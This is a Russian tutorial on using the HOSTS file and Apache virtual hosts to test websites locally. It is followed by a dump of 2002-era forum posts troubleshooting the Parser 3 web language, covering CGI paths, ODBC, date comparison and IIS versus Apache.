Обычно, когда вы набираете в адресной строке {microsoft.com} или {linux.org.ru}, вашему браузеру нужно узнать IP-адрес требуемого сервера. Сначала он ищет его у себя в кэше а затем обращается к DNS-серверу вашего провайдера - а всё это время вы любуетесь на строчку \"Поиск узла nnnn...\" (\"Looking up for domain nnnn...\"). Но перед этим происходит ещё один этап - Windows обращается к файлу HOSTS, в котором могут перечисляться сопоставления IP'шников адресам. Этот файл унаследован ещё от старых систем тех времён, когда все компьютеры, входящие в Интернет, можно было перечислить в одном файле. В Windows NT этот файл называется C:\\WINNT\\system32\\drivers\\etc\\hosts. В Windows 9x его обычно не существует, и для того, чтобы его создать, найдите файл C:\\WINDOWS\\hosts.sam и скопируйте его в файл C:\\WINDOWS\\hosts (безо всякого расширения!) Вот как этот файл обычно выглядит:\
\
# Copyright (c) 1993-1995 Microsoft Corp.\
#\
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows NT.\
#\
# This file contains the mappings of IP addresses to host names. Each\
# entry should be kept on an individual line. The IP address should\
# be placed in the first column followed by the corresponding host name.\
# The IP address and the host name should be separated by at least one\
# space.\
#\
# Additionally, comments (such as these) may be inserted on individual\
# lines or following the machine name denoted by a '#' symbol.\
#\
# For example:\
#\
# 102.54.94.97    rhino.acme.com          # source server\
# 38.25.63.10     x.acme.com              # x client host\
\
127.0.0.1       localhost\
\
Если нужное имя будет найдено там, обращения к DNS не потребуется. Если вы будете заниматься тестированием своего сайта с помощью домашнего вебсервера, в этот момент никто не станет дозваниваться до провайдера, чтобы подключиться к DNS - всё успешно пройдёт и в офлайне.\
\
Предположим, вы собираетесь тестировать на домашнем компьютере сайт {www.вашсайт.вашпровайдер.ru}. Откройте файл HOSTS в Блокноте и добавьте в его конец строчку\
\
127.0.0.2       www.вашсайт.вашпровайдер.ru\
\
Одновременно тестируете ещё три сайта? Нет проблем, добавляйте строки\
\
127.0.0.3       www.ещёсайт.вашвторойпровайдер.ru\
127.0.0.4       www.ваштретийсайт.вашчетвёртыйпровайдер.ru\
127.0.0.5       пятыйсайт.вашзабугорныйпровайдер.com\
\
Теперь все запросы, выдаваемые вашим браузером, адресуются вашему же компьютеру. Закончили тестирование, закачали файлы на сайт и хотите посмотреть, как всё выглядит - удалите ненужную строчку из файла HOSTS и перезапустите браузер (Windows перезагружать не надо). Браузер перестанет обращаться к локальному компьютеру и полезет дозваниваться до вашего Интернет-провайдера. Кстати, удалять ненужную строчку из файла HOSTS насовсем не требуется - добавьте в её начало символ \"#\" и Windows её проигнорирует.\
\
...........\
\
\
Подключение сайта к Apache\
\
Теперь мы займёмся подключением к Apache вашего сайта. Расскажу о том, как это делать на примере моего сайта - {http://Userguide.webservis.ru/}. \
\
Когда я регистрировал мой сайт UserGuide.webservis.ru, я получил на сервере в своё распоряжение папку /home/home-webservis/14659/public_html, папка cgi-bin располагалась у меня по адресу /home/home-webservis/14659/public_html/cgi-bin (вебсервер на сайте управляеся связкой Apache и FreeBSD). Поэтому я создал на диске c:\\ папку home, в ней - папки /home-webservis/14659/public_html/cgi-bin. В public_html я скопировал все файлы своего сайта, включая скрипты, которые поместились в папку cgi-bin, и непременный файл index.html. \
\
.......\
\
После этого я заставил Apache подключить эту папку и использовать её, как корневой каталог моего вебсервера. Для этого я добавил в самый конец файла httpd.conf такой вот фрагмент:\
\
# Домашняя копия сайта Userguide.Webservis.ru\
# Копию сайта я привязал к адресу 127.0.0.2\
<VirtualHost 127.0.0.2>\
    # Имя сервера, с которым в файле HOSTS\
    # связан IP-адрес 127.0.0.2\
    ServerName userguide.webservis.ru\
    # Здесь я указал адрес, выданный мне при регистрации\
    ServerAdmin userguide@webservis.ru\
    # Параметр DocumentRoot указывает на только что\
    # созданную мной папку - отсюда Apache будет брать\
    # страницы для выдачи их браузеру.\
    # Учитывайте, что папку нужно создать ДО того,\
    # как вы прицепите её к Apache. Ещё следите,\
    # в какую строну направлены косые черты!.\
    DocumentRoot \"c:/home/home-webservis/14659/public_html\"\
    # А здесь мы указываем серверу,\
    # что с этой папкой можно делать\
    # Если хотите знать, что эти параметры\
    # означают - читайте руководство к Apache\
    <Directory \"c:/home/home-webservis/15405/public_html\">\
        Options Includes FollowSymLinks MultiViews\
        AllowOverride None\
        Order allow,deny\
        Allow from all\
    </Directory>\
    # Параметр ScriptAlias указывает на папку с cgi-скриптами\
    ScriptAlias /cgi-bin/ \"c:/home/home-webservis/14659/public_html/cgi-bin/\"\
    # В этот файл будут записываться ошибки сервера.\
    # Да, это тот самый лог сервера, который вам\
    # ни под каким соусом не хотели давать\
    # админы халявных хостингов!!!\
    ErrorLog \"c:/home/home-webservis/14659/error.log\"\
    # А в этот файл сервер пишет, какие файлы он выдаёт браузеру.\
    # У него есть сволочная привычка быстро разрастаться до\
    # чудовищных размеров, не забывайте его периодически чистить.\
    CustomLog \"c:/home/home-webservis/14659/custom.log\" common\
</VirtualHost>\
\
Исправьте в этом фрагменте куски, выделенные красным, на свой вариант. После этого сохраните httpd.conf и закройте Блокнот. \
\
Перейдите к папке c:\\Program Files\\Apache Group\\Apache\\ и запустите apache.exe c ключом \"-t\". Если всё было сделано правильно, вы получите подтверждение, что вы всё сделали правильно, и ошибок в файле httpd.conf нет.\
\
c:\\> c:\\Program Files\\Apache Group\\Apache\\apache.exe -t\
c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf: Syntax OK\
\
Если же что-то сделано неправильно, вы увидите сообщение наподобие этого:\
\
[error] Failed to resolve server name for 127.0.0.5\
(check DNS) - or specify an explicit ServerName\
\
Это сообщение, кстати, говорит о том, что адресу 127.0.0.5 в файле HOSTS забыли сопоставить имя сервера - это очень частая ошибка!\
\
.......\
\
Помните, что я говорил, что нам доступно примерно 16 миллионов адресов, начинающихся на 127.*? Мы только что заняли один, а что делать с остальными? \
\
Самое вкусное состоит в том, что если у вас несколько сайтов, домашнюю копию каждого вы можете прицепить к своему адресу - один - к 127.0.0.3, второй - к 127.0.0.4 и так далее. И так до шестнадцати миллионов! Один Apache может обслуживать несколько сайтов, причём делается это до безобразия просто - вы добавляете в конец httpd.conf ещё один блок, с увеличенным на единичку номером, правите файл HOSTS, прописываете новые пути к папкам и перезапускаете Apache - и всё! \
\
Учитывайте, что перед тем, как вписать сюда адрес папки, нужно создать её на диске. После того, как вы сохраните httpd.conf, не (пере)запускайте Apache до того, как проверите, правильно ли вы всё сделали, командой\
\
c:\\> c:\\Program Files\\Apache Group\\Apache\\apache.exe -t\
c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf: Syntax OK\
\
\
"
"6515","у меня такой вопрос ни один файл ( а точнее с сайтов moziila.org и mozilla.ru) не хочет устанавливаться, пытаюсь зайти прямо на FTP сайт не получается IE6.0 стоит, не знаю что делать? а хочется mozilla загрузить. Причем и качалками не получается пишет система: сервер не найден..., за допустимое время ответ не получен..., П О МО ГИ ТЕ!!!"
"6516","Зачем спрашивается было вносить в список powered_by_parser сайт, если через пару дней его от туда удалили?\
Или есть критерии по каким сайты заносятся в этот самый лист? да вот беда я их не нашел. Только вот следующее :\
\"Присылайте нам название своей студии или компании (или ваше имя) и ссылки на сайты, построенные на Parser 3.0 по адресу mailbox@parser.ru. Мы их разместим на этой странице.\"\
Может забыли дописать, но мы оставляем за собой право его через пару деньков удалить. \
А если отбросить сарказм, свинское повидение разработчиков хорошего языка Парсер, предлагать к опубликованию сайт, занести его в список и потом его удалить. Я горько разочарован. И думаю, что мое собственное достоинство не позволит мне в дальнейшем вести свои разработки на замечательном языке Парсер.\
В общем предложение для пострадавших, создайте альтернативный ресурс по парсеру, который будет независить от Design.ru. Мое общее впечетление на студию нашла \"Мания величия\". Что хочу то творю!,\
Мы особенные в Интернете.\
\
P.S.Надеюсь это сообщение не будет удалено.   \
\
"
"6517","После публикации новых сайтов в течении некоторого времени я посещаю их, и если в момент моего посещения сайт \"лежит\" или там уже нету ничего, а только красуется фраза \"сайт переехал, ждите\" - я снимаю флажок о публикации ссылки на этот сайт до моего сделующего просмотра их.\
\
По моему глубокому убеждению не работающий сайт - это все-таки не сайт.\
\
У меня нету времени обходить их постоянно - поэтому сайт из раздела может пропасть на несколько дней.\
\
У меня нету времени писать логи - когда у какого сайта что случилось.\
\
Я просто временно запрещаю показ ссылки на сайт.\
\
Если вдруг что-то не срослось и я побывал там тогда, когда были профилактические работы - мне кажется на сложно написать на mailbox@parser.ru и попросить включить ссылку.\
\
P.S. в настоящий момент таких \"не опубликованых\" ссылок 4."
"6518","Теперь мне понятно, сайт действительно был некоторое время нерабочим позавчера. Но небольшая просьба, указывайте условия размещения, публикации, чтоб не получилось так как в моем случае, что я оказывается необосновано наехал на администрацию сайта. За что приношу извинения. Из-за тематики сайта мне приходится постоянно бороться, вот несколько и психованым стал в последнее время."
"6519","Просто раньше прецендентов не было, а заранее все не предусмотришь.\
\
Надеюсь инциндент исчерпан."
"6520","Да полностью.\
Приношу еще раз свои извенения."
"6524","чтобы при выводе не херились табуляторы и переводы строк между тегами <pre>. Я понимаю что оптимизацию надо вырубить только для этого конкретного места страницы, но пока не знаю как. Да и ещё, html страницы у меня, формируется через XSLT преобразование."
"6525","Фигня какая-то со сравнением дат. Операции > < работают нормально, \
а == нет. Для примера :\
[code]\
$test1[^date::create(2002;10;13)]\
$test2[^date::create(2002;10;13)]\
^if($test1 == $test2){Они одинаковые!}{Нет все таки разные}\
[/code]\
\
Выдает \"Нет все таки разные\"\
Кого и чем лечить??? :)\
"
"6526","При запуске Perser'а в Apache 1.3 выдает \"Необходимый файл динамической библиотеки LIBGLIB-1.3-11.DLL не найден.\" Посоветуйте что делать, люди добрые."
"6528","в текущей реализации, на некоторых платформах глючит.\
с чем связано, уже писал.\
\
диагноз: текущая реализация будет переписана.\
заодно расширен диапазон действия.\
возможно, при этом погибнет оператор сравнения в выражениях, и придётся пользоваться другим.\
\
проект открытый, это означает, что могут участвовать все: от идей, до кода."
"6529","Если оператор сравнения \"погибнет\", это, что, означает, что новая версия будет несовместима со старой ??? Может, не стоит ?! Имхо, проще даты как строки сравнивать (та же конструкция с 'ne' вместо '==' вполне работает) ..."
"6530","У меня на хостинге много сайтов и у каждого должна быть своя CGI дириктория, в его папки. Но мне не очень катит для каждого из них качать туда Parser.\
\
Я был бы признателен, если бы кто-нить мне посоветовал, как сделать, чтобы у каждого была своя CGI дириктория а парсер лежал в корневом CGI и все к нему могли обратиться."
"6531","est gotoviye moduli na asp, i perepisivat ih zanovo na Parser'e - delo dolgoye i rutinnoe - vlom..."
"6532","ошибка в логах апача \"Premature end of script headers: parser3.exe\
\" что бы это значило и как с этим бороться (на линуксе все замечательно работает)."
"6533","Если даты одинаковые, то их действительно можно сравнивать как строки, а если нужны операции больше меньше, то это превращается в геморрой. Хочется верить что оператор сравнения не погибнет :)"
"6534","Инструкцию читал, форум изучал, однозначно из-за какой-нить ерунды встрял.."
"6535","Он один и доступен всем, кто этого хочет"
"6537","можно ли запускать парсер с помощью символических ссылок?"
"6538","This application has failed to start because libdlib-1.3-11.dll was not found. Re-installing the application may fix this problem."
"6540","спасибо, торможу видимо сегодня.."
"6541","Ну ты даёшь? Поставь пока простой парсер (без поддержки XML), или скачай файл parser3xml_20020424_win32.zip (libdlib-1.3-11.dll там лежит) и распакуй из него файлы куда нужно - всё заработает.\
А то ты два дня назад кричал, что XML \"это для меня сликом сложно - дайте простой пример\", а сегодня чего уже изменил своё мнение о сложных и простых вещах на 180 градусов.\
И зачем тебе под XP Apache (есть же IIS, где покрайнеймере для тебя всё настроить будет намного проще). Или хочешь сделать виртуальные хосты?"
"6543","...посоветовать ему IIS.\
\
:))))))"
"6544","2 дня назад япросил простой примерчик для проверки и через пол-часа сам мог уже сотню таких примеров нарисовать, пока сам не увидел парсер в действии, все было непонятно.. теперь есть от чего плясать.. теперь и на локале.."
"6545","мне по наследству остался сайт на asp.. слова уже закончились..., перепишу его на парсер!"
"6546","PAF прав насчёт разных систем. У меня на IIS твой пример всё чётко работает. А вот на Apache из под виндов или под Linux я пока не проверял. Если у тебя не работает, а у меня работает (и стоят разные системы), то => вся эта фигня из-за системы (вернее Парсер не совсеми системами корректно работает - пока :))))."
"6547","поскольку это не серверная ОС. Он есть пока только под Windows NT/2000 Server или .NET Server который ещё вроде не вышел в виде релиза. Под несеверными ОС веб-сервер называется по-другому - PWS (personal web services)."
"6548","В моем стандартном XP Professional Eng всегда был..\
.Net Server вышел RC1 еще в июле.."
"6549","Ну привет тебе! Ты ещё скажи, что её и на Win2k Profesional IIS нет.\
В XP тоже есть. Я раньше тоже думал что в win2k IIS нет и даже из-за этого хотел себе XP поставить (там я раньше увидел), но вовремя одумался. Лично мне больше нравится win2k, чем XP.\
А IIS просто по умолчанию не ставится. (Чтобы поставить: Установка удаление программ>Установка Windows> Выбираешь IIS - даже перезагружать не надо). И ещё, в профешинале можно создать только один сайт на один порт (фигово) - нельзя делать виртуальные хосты (или я не знаю как это делается - кто может знает, подскажите, да хотя это мне нафг нужно).\
\
А на апаче можно себе дома хоть целый интернет сделать и имена дать сайтам какие хочешь: хочешь тебе www.yandex.ru, а хочешь www.rambler.ru, а на IIS только localhost, ну может ещё имя твоей машины."
"6550","Называется то оно также - internet information services, но по сути это те же PWS ну или кастрированный IIS из серверных ОС. Я например не смог под енти службы в XP настроить для определённого типа файлов свой обработчик, а вы?"
"6552","Ну а я про что? На на WinNT 2000 Advaced Server IIS нормальный, а на Prof - лажа (так - побаловаться совсем начинающим). И кстати на win2k Prof у меня все чётко ставилось и работало - и Парсер, и Перл. А Windows-ХеРе я не люблю и не пробовал ставить под него Парсер (т.ч. не знаю ставится или нет). А если не ставиться, то флаг в руки XP (поэтому я на нёми и не работаю).\
"
"6553","под 2000 и даже под XP всё работает, но не на моей машине :) При нажимании кнопки для настройки обработчика у меня ничего не происходит, хотя сама кнопка присутствует."
"6554","Ты как настраиваешь?\
Свойства сайта > Home Directory > кнопка Configuration...\
?? Эта кнопка у тебя активна ?? У меня раньше была такая фигня (не активная кнопка) правда давно ещё на NT4 Server, когда я ставил новый IIS (посути такой же как и в 2000-х, который поставлялся отдельно от ОС) поверх родного от 4-го сервака. Здесь я и сейчас не знаю в чём глюк, может система криво стояла.\
И дальше Add > Вводишь расширение и т.д. и .т.п. небось сам знаешь лучше меня.\
\
Я вот только не понял какая кнопка у тебя присутсвует, и по нажатю на ней ничего не происходит: Configuration или Add?\
"
"6555","потому что XP русская :) т.е. по смыслу (и расположению тоже) она соответствует кнопке Configuration"
"6556","Так она (кнопка) у тебя не активная или как? Если первое, то фиг его знает что может быть, по идее должна быть актвной.\
Но если у тебя есть административные права (хотя бы локального админа), то попробуй удалить IIS (установка-удалене программ). Потом на всякий случай перезагрузи комп, (не забудь полясать с бубном вокруг :)))) него). Загрузи и попробуй поставть IIS заново. Как поставишь все те сайты, которые он тебе наделает поудаляй нафиг и виртуальные директории тоже. HomeDir  свою какую-нибудь папку выбери. И делай \"заход №2\", может теперь кнопка станет активной.\
Может поможет, не знаю. Попробуй, ничего не потеряешь. А если не поможет, то .... (может система глючит, а может все проще как-то решается, не знаю ????). "
"6557","давай закроем эту тему, потому что я всё-равно не буду с IIS связываться (разве что за некоторую сумму денег :)) и принципиально заставить работать мне его совсем не хочется."
"6558","Но это равносильно закачиваню в каждую директорию.\
И потом, из поста мне показалось, что человек сам себе провайдер ;-)"
"6559","Если не принципиально, то и не парься.\
В Апаче, что ручками пропишешь, то и получишь, а в IIS на первый взгляд всё проще, но бывают БОЛЬШИЕ НО!!!!(как в твоём случае)"
"6562","т.е. он запускает его в дирректории с интерпритатором\
#!/путь к перлу\
\
то-же происходит при вызове ^file::cgi[/cgi-bin/test.cgi]\
это проблема небольшая в случае единичного скрипта\
простым переходом chdir можно удовлетворится (но все равно неприятно)\
\
когда имеется множество своих модулей проблема разрастается\
выход:\
ставить внутри основной программы и модулей такую запись, вместо стандартной\
#/usr/bin/perl -I/home/web/cgi-bin/\
в этом случает путь для библиотек добавляется в массив @INC\
но так-же приходится в каждом модуле менять текущую дирректорию\
муторно\
как справиться с серьезной проблемой?\
прошу не выссказывать мнения о самодостаточности парсера!!!\
"
"6563","Каким образом средствами парсера можно декодировать строку вида %E4%EE%EC%EE% ? Ничего не приходит в голову, кроме как replace по соответствующей табличке. Может можно попроще ? Задача - выдирать из реферера поисковый запрос."
"6564","По моему он меняет текущую директорию на директорию запускаемого им скрипта, а не на директорию интерпретатора...\
\
В общем-то он и знать ничего не знает о том, какой это будет интерпретатор.\
\
И что для меня - так такое поведение парсера мне нравится значительно больше, чем p2... И по моему так правильнее..."
"6565","если не видел зачем же утверждать?\
\
там самый настоящий IIS версии 5.1\
\
по умолчанию он не устанавливается. добавляется в разделе Add/Remove Windows Components."
"6566","^untaint[uri]{твой код}\
\
по-моему оно."
"6567","и утверждать что настоящий. Виртуальные хосты например, он не держит."
"6568","а другие никто не мешает в каталоги положить."
"6569","удобного средства сделать нет. untaint, конечно, тут не при чём (совсем).\
\
если очень нужно, можно сделать redirect на какую-то страницу, передав туда \
[code]\
?...&referer=$env:HTTP_REFERER\
[/code]\
\
я не считаю эту проблему очень актуальной для сайтостроения. и, конечно, parser не претендует на всеобщую универсальность.\
"
"6570","1. пробовал таким методом:\
$arch[^table::sql{execute sp_cx_GetArchsInfo}]\
не получается.\
\
2. Интересно еще почему такой запрос:\
$arch[^table::sql{select ArchName, ArchTitle from tblPhotoArch}]\
проходит, а вот такой:\
$arch[^table::sql{select * from tblPhotoArch}]\
нет, выдает ошибку\
CDBException: Numeric value out of range\
"
"6571","1. почитайте документацию на ваш ODBC драйвер, odbc подразумевает вызов через \
[code]\
{call xxx}\
[/code]\
\
впрочем, для удобства прямого вызова(неправильно и не рекомендовано пользователям ODBC), я давно поправил, кому срочно, в CVS."
"6572","MS давно не обновлял библиотеку, через которую работает parser3odbc(MFC), соответственно, в ней не умеют работать с новыми типами данных.\
я работу с частью типов патчил, возможно, нужно пропатчить какие-то ещё.\
дайте знать, если для вас не подойдёт обновление [сейчас положу в download, ещё в мае сделал, никто не спрашивал/не выкладывал].\
\
в идеале: написать драйвер для parser с использованием и других Win32 API, скажем ADO.\
драйвер: совсем отдельная сущность, написать несложно. кто возьмётся? для меня это неприоритетно, бОльшая часть студийных проектов сейчас хостится на unix. делайте выводы."
"6573","\
RAF>> большая часть студийных проектов сейчас хостится на unix.\
Проекты то могут храниться и на UNIX, а как быть если надо обязательно использовать БД MS SQL Server.\
т.е. обязательно нужен ODBC (или еще какой) драйвер под UNIX, что бы можно было работать с MS SQL.\
К сожелению, в отличии от вас, не все умеют писать драйвера :)"
"6575","IMHO, требуется хоть вводная статейка хотя бы об устройстве базовых классов. Наверное, исходники кажутся полнятными тому, кто хоть раз писал какой-либо свой транслятор, а остальным ?"
"6576","Как преобразовать данные из [i]ячейки[/i] таблицы вида [code]$.a[b]$.b[c]$.x[d][/code] к хешу? (При передаче через [code]^hash::create[...][/code] ничего не получается.)"
"6578","Я тут не так давно зашел на artlebedev.ru (тогда еще -- design.ru) в Lynx и офигел -- Lynx не читает кириллицу, но этот вариант предусмотрен -- есть версия для текстовых браузеров, где русский текст (все статьи \"ководства\") отображается в латинице -- я задал вопрос Теме, но он на него не ответил -- \"с помощью чего это все делается -- через SSI и Perl или как-то еще?\". Теперь я понимаю, что это все делается с помошью парсера и $env{'HTTP_USER_AGENT'}. Вопрос теперича в другом -- поскольку человек по природе своей ленив, вряд ли Тема переписывает каждый свой текст в латиницу вручную (лень -- двигатель прогресса), следовательно (как я полагаю) есть какой-то цефегешник кодировки, который переделывает это все автоматом...\
\
Прав я или нет, и, если -- прав, то не могли бы вы описать ентот процесс в коде и представить cfg на суд широкой общественности? Не забавы ради а юзабилити для... :)\
\
(хотя, мога быть, это -- тайна более коммерческая, чем сам парсер?)\
\
Ыскренне ВаЖ,\
\
Ramesses"
"6580","Для освоения технологии Parser 3 я решил сделать на нем Homepage для своего друга и столкнулся с рядом проблем. Многие из них удалось решить благодаря этому форуму, некоторые - нет.\
\
1 проблема. Не вставляется в Html результат работы скрипта.\
Исходные данные:\
 - site: myxomop.h1.ru\
 - DOCUMENT_ROOT: /home (Вот #printenv - http://www.myxomop.h1.ru/feedback/test.shtml)\
 - my dir: /home/m/myxomop.h1.ru/\
 - cgi: /home/m/myxomop.h1.ru/cgi/\
 - html: /home/m/myxomop.h1.ru/WWW/\
 - страница, куда надо вставить скрипт: /home/m/myxomop.h1.ru/WWW/feedback/index.html\
 - скрипт: /home/m/myxomop.h1.ru/cgi/guestbook.pl\
 - парсер: /home/m/myxomop.h1.ru/cgi/parser3.cgi\
\
Сообщение об ошибке:\
\
[Fri Sep 13 22:30:59 2002] /m/myxomop.h1.ru/WWW/feedback/index.html: /home/m/myx\
omop.h1.ru/WWW/feedback/index.html(4): 'cgi' output does not contain CGI header;\
 exit status=254; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [-]\
\
Я как только ни пробовал писать код ^file::cgi[***], ничего не помогло... HELP!\
\
\
2 проблема. Страницы у меня собираются из трех кусков, как описано в учебнике - ^header[], ^body[] и ^footer[]. Так вот, документ генерится не до конца и обрывается на самом начале footer'a - см. Myxomop.h1.ru, там справа внизу видно кусок HTML! Причем на hut.ru это дело случалось лишь иногда (для пробы заливал сайт на bearz.hut.ru - он и сейчас там есть), а на h1.ru - постоянно. Причем это не проблема хостинга (давно с ним работаю, такого не было).\
\
Друзья, помогите! Очень хочу работать с Parser, ибо это крайне удобно и приятно ;)\
Всем спасибо."
"6581","У меня очень долго была проблема с мозиллой. Если браузер не посылает сообщение серверу sokr.ru о том, что он понимает windows1251 (by default mozilla этого не делает), то весь текст приходит в utf8, но заголовки в строке url по прежнему читаются сервером в кодировке win1251 (что не есть правильно). Но, разумеется, всем наплевать на такую мелочь, и 0.01 процент посетителей воспользоваться поиском не могут. :-( И я об этом много раз писал, [url=\"/forum/?id=1879\"]даже в этом форуме[/url]. ;-) Напомню, это проблема решается в мозилле так: \
[code]\
Edit :: Preferences :: \
Navigator :: Languages :: \
Character Coding :: Default Character Coding :: Cyrillic (Windows-1251)\
[/code]"
"6583","А разве в [url=\"/docs/\"]документации[/url] по исходным текстам этого нет? "
"6584","Вот что сейчас придумал:\
$nooptimize(1) -- отключение оптимизации. \
[code]\
@postprocess[buffer]\
^if($nooptimize){^taint[as-is][$buffer]}{$buffer}\
[/code]"
"6585","У них очень много проблем со скриптами пользователей. Боюсь, что исправить это смогут только они сами или выбор другого хостинга (например, hoha.ru, который даже официально поддерживает парсер)\
\
Мне в свое время даже второй арсер удалось поставить только с Nной попытки, что уж говорить о третьем. Боюсь, этот хостинг несовместим с парсером (в прямом понимании этого слова) :("
"6588","У меня 3-й парсер отлично работает\
но я говорю не про гон апача(кстати он скрипты запускаает в их рабочем каталоге а не в каталоге интерпритатора).\
Даже когда я скрипт с помощью SSI всатвляю, то все нормально\
Я говорю про действительный гон 3-го парсера (я 2-й парсер в глаза не видел)\
Надо решать столь серьезную проблему.\
Иначе действительно перл станет не нужен для разработки.\
Не потому, что у перла нет каких-то возможностей\
А потому, что его парсер, попросту, криво поддерживает \
И ограничимся написанием на перле одних лишь счетчиков, которые на парсере реализовать намного проще.\
Действительно, способ доказать превосходство парсера :)"
"6590","Правда я не понимаю какое отношение этот вопрос имеет вообще к Парсеру???...., но попробую ответить\
Не знаю как там в Java из Access, но в почти родном Access-у Visual Basic-е, если ты хранишь в базе в каком-то поле (или OLE, или MEMO) картинку (или какой-то другой объект, напрмер формулу Equation), то привязать это поле напрмер через Data (что будет самым простым вариантом) к объекту PictureBox не возможно (по крайней мере в Vb6.0 Enterprise, как там в VB-Net честно пока не знаю - не пробовал). А к объекту OLE, или RichTextBox всё привязывается круто и всё работает.\
А лучше храни файлы на диске (в gif, или jpg), а в базе заведи текстовое поле, где будешь хранить имена файлов (путь можно подставлять к имени уже в коде программы, ну тут как сам решишь).\
А насчёт SQL - обычный запрос навыборку. SQL больше ничего делать не умеет, как выбирать, удалять, обновлять и т.д. и т.п. записи в таблицах БД (покрайней мере SQL в Access). И в принципе самому SQL пофиг что там у тебя храниться. Другое дело как это у тебя понимает ядро БД и как выбранные данные будет интерпретировать клиентская часть."
"6591","Sumo, если у тебя сохранился этот конфиг, кинь мне по мылу, плиз."
"6593","По моему он меняет текущую директорию на директорию запускаемого им скрипта, а не на директорию интерпретатора...\
\
простейший скрипт \
#!/usr/bin/perl\
system(\"dir\");\
выдаст очень интересный результ со списком файлов папки /usr/bin/\
\
"
"6594","keywords.cfg:\
[code]\
keyword	info\
abc	$.russian[а б ц]$.english[a b c]\
a1	$.russian[1]$.english[2]\
[/code]\
\
index.html:\
[code]\
$keywords[^table::load[keywords.cfg]]\
$k[^hash::create[$keywords.info]]\
$k.russian ^rem{ - [i]вывести \"а б ц\"[/i]}\
$k.english ^rem{ - [i]вывести \"a b c\"[/i]}\
[/code]\
"
"6596","там было 3-4 варианта ..."
"6598","О каком гоне идет речь?\
"
"6599","могу предложить использовать такой код:\
[code]\
$keywords[^table::load[/_keywords.cfg]]\
\
^process{^$a^[$keywords.info^]}\
\
$k[^hash::create[$a]]\
$k.russian\
$k.english\
[/code]\
\
Но... Мне не нравится такая идея..."
"6600","table - \"массив\" элементов типа string. $.smth невозможен.\
а ты пытаешься их cfg грузить table-of-hash. такого типа данных нет.\
\
мораль: \
в  keywords.cfg таблица из трех колонок: keyword -> russian -> english\
[code]\
keyword -> russian	-> english\
abc -> а б ц -> a b c\
a1 -> 1 -> 2\
[/code]\
потом \
[code]\
$keywords[^table::load[keywords.cfg]]\
$k[^keywords.hash[keyword]]\
[/code]\
а потом\
[code]\
$k.abc.russian -> а б ц\
$k.abc.english -> a b c\
$k.a1.russian -> 1\
$k.a1.english -> 2\
[/code]"
"6601","У меня не в одном и не в двух местах используется вызов внешних скриптов и все работает нормально.\
\
Т.е. текущая директория выполнения оказывается директорией, где лежит сам запускаемый мной скрипт, например:\
\
[code]\
#!/bin/sh\
\
# тут показывается содержимое директории где лежит скрипт\
ls -la\
# ну и т.д.\
cd ../data/\
mv -f cache cache.old\
mkdir cache\
rm -rf cache.old 2>&1 >/dev/null\
[/code]\
\
В применении к perl - тоже все работает на ура (только что написал и проверил):\
html:\
[code]\
$r[^file::exec[/../exec/dir.pl]]\
\
status=$r.status\
<pre>\
$r.text\
</pre>\
[/code]\
\
dir.pl:\
[code]\
#!/usr/bin/perl\
\
$result = `ls -la`;\
\
print $result;\
[/code]\
\
результат:\
[code]\
total 12\
drwxrwsr-x   3 root     rtc          512 Sep 14 16:09 .\
drwxr-xr-x   6 root     other        512 Aug  8 12:40 ..\
-rwxr-xr-x   1 misha    rtc           53 Sep 14 16:12 dir.pl\
-rwxr-xr-x   1 misha    rtc           90 Jul  8 18:59 rmcache.sh\
drwxrwsr-x   2 misha    rtc          512 Sep 13 15:07 sqldump\
-rwxr-xr-x   1 misha    rtc          170 Sep 13 13:55 sqldump.sh\
[/code]\
\
Работает точно на linux и freebsd, на других не проверял."
"6602","http://ya.ru/yandsearch?text=unhandled+exception"
"6603","Смотрим и видим, что DOCUMENT_ROOT указывает на /home, соответственно если ты напишешь\
$r[^file::cgi[/m/myxomop.h1.ru/cgi/you_script.pl]] то попадешь в свою cgi-bin директорию, но по моему таким образом определенный document_root это кривизна...\
\
Ты можешь писать относительные пути (например, при вызове из твоего test.html) ты можешь написать так:\
\
$r[^filr::exec[../../cgi/you_script.pl]] и тоже попадешь в cgi-bin, но так тоже плохо, ибо для разных документов тебе надо писать разные пути...\
\
Можешь попробовать всех перехитрить и в корневом auto.p (интересно, выполняется-ли он у тебя с таким рутом) определить $MAIN:local_root[/m/myxomop.h1.ru]\
и далее все вызовы делать так: \
$r[^filr::exec[$MAIN:local_root/you_script.pl]]\
\
Надеюсь, я ничего не напутал :)"
"6605","http://www.google.com.ru/search?hl=ru&inlang=ru&ie=windows-1251&q=unhandled+exception"
"6606","Спасибо. Я тоже пришла к выводу, что имя файла хранить проще. Так и сделаю."
"6607","не дадите ли вы мне ссылочку на Parser3 с поддержкой xml и библиотеками MySQL, но мне надо, что-бы сё енто заработало на ValueHost.ru.\
\
На этом хостинге вроде работает только какая-то там не доработаная версия Parser3, но другово выхода выхода у меня нет, но мне обязательно нужен MySQL и XML, и кстати кто знает тамышней путь к sendmail? А то я там не нашел.\
\
Спасибо."
"6611","поищи по валюе хост"
"6614","Просто дайте ссылку на нее если знаете.\
Пожалуйста."
"6615","Ну а в чём проблема?\
Как обычно передаются переменные? Можно напрмер так - парсером генеришь что-то типа:\
<a href=file.php?x1=1&x2=2>ля-ля три рубля - передаем переменные из парсера в PHP</a>. Щелкнешь по такой ссылке вызовешь PHP скрипт и передашь в него переменные (параметры). Ну и точно также в обратную сторону, только теперь генеришь код на PHP:\
<a href=file.html?y1=1&y2=2>передаем переменные из PHP в парсер</a>"
"6616","Да, определять DOCUMENT_ROOT на /home - изврат полнейший, но что делать...\
\
Так $r[^file::cgi[/m/myxomop.h1.ru/cgi/you_script.pl]]  я пробовал - ничего не вышло, писал даже $r[^file::cgi[./m/myxomop.h1.ru/cgi/you_script.pl]].\
\
$r[^filr::exec[../../cgi/you_script.pl] - тоже пробовал... И тоже ничего не получилось.\
\
Буду искать решение дальше, должен быть workaround! Причем искать буду, пока не накоплю денег на Нормальный Хостинг (http://www.nodex.ru - их офис рядом с моим домом ;)).\
\
Корневой авто.п выполняется, тут, слава богу, все ок. Попробую всех перехитрить, как Вы советуете.\
\
П.С. А насчет отжевывания нижнего куска страницы идеи есть? :)\
\
Всем спасибо."
"6617","Хоха совсем кривой - никуда не годится.\
\
